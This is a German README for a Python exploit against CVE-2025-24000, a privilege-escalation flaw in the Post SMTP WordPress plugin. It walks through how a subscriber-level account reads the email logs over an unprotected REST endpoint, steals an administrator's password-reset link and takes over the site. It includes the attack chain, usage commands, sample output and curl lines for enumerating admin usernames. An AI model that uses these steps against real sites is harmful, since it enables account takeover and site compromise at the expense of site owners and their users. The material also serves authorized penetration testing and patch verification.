CVE-2025-24000 – Post SMTP Privilegieneskalations-Exploit

Übersicht

Dieses Skript nutzt CVE-2025-24000, eine hochkritische Schwachstelle in der Zugriffskontrolle des Post SMTP WordPress-Plugins (Versionen ≤ 3.2.0) aus. Es ermöglicht jedem authentifizierten Benutzer mit einem Konto mit niedrigen Berechtigungen (z. B. Abonnent) auf die REST-API-E-Mail-Protokolle des Plugins zuzugreifen, einen Admin-Passwort-Reset-Link zu stehlen und das Administratorkonto zu übernehmen.

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• Betroffene Versionen: ≤ 3.2.0
• Behoben in: 3.3.0
• CVSS-Score: 8,8 (Hoch)
• Auswirkung: Privilegieneskalation → Vollständige Übernahme des Administratorkontos

Funktionsweise

Die Schwachstelle resultiert aus einer fehlerhaften Berechtigungsprüfung in der REST-API des Plugins:

// Gefährdeter Code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

Jeder angemeldete Benutzer, unabhängig von seiner Rolle, kann auf Endpunkte zugreifen, die nur für Administratoren bestimmt sind:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

Exploit-Kette

1. Registrieren oder verwenden Sie ein bestehendes WordPress-Konto mit niedrigen Berechtigungen (Abonnent)
2. Melden Sie sich an und holen Sie sich ein WP-REST-Nonce von /wp-admin/
3. Lösen Sie einen Passwort-Reset für das Administratorkonto aus
4. Lesen Sie die E-Mail-Protokolle über die ungeschützte REST-API aus
5. Extrahieren Sie den Passwort-Reset-Link aus dem Protokoll
6. Verwenden Sie den Reset-Link, um ein neues Admin-Passwort festzulegen
7. Melden Sie sich als Administrator bei /wp-admin an

Voraussetzungen

• Python 3.x
• requests-Bibliothek (pip install requests)
• Ein registriertes Konto auf der Ziel-WordPress-Website (Abonnenten-Level reicht aus)

Verwendung

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

Argumente

Beispiel

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

Erwartete Ausgabe

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

Tipps

• Falls der Admin-Benutzername unbekannt ist, enumerieren Sie ihn über die WP-REST-API:
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  Oder über Autoren-Enumeration:
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• Der Reset-Link ist nur einmal gültig und läuft ab – verwenden Sie ihn sofort nach der Extraktion.
• Falls die Protokolle leer sind, stellen Sie sicher, dass die Website so konfiguriert ist, dass E-Mails über Post SMTP gesendet werden (nicht über PHP-Mail).

Referenzen

• Patchstack Advisory: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• GitHub Advisory: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• Reproduction Walkthrough: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Bildungszwecke bestimmt. Verwenden Sie es nicht gegen Systeme, für die Sie keine ausdrückliche Erlaubnis zum Testen haben.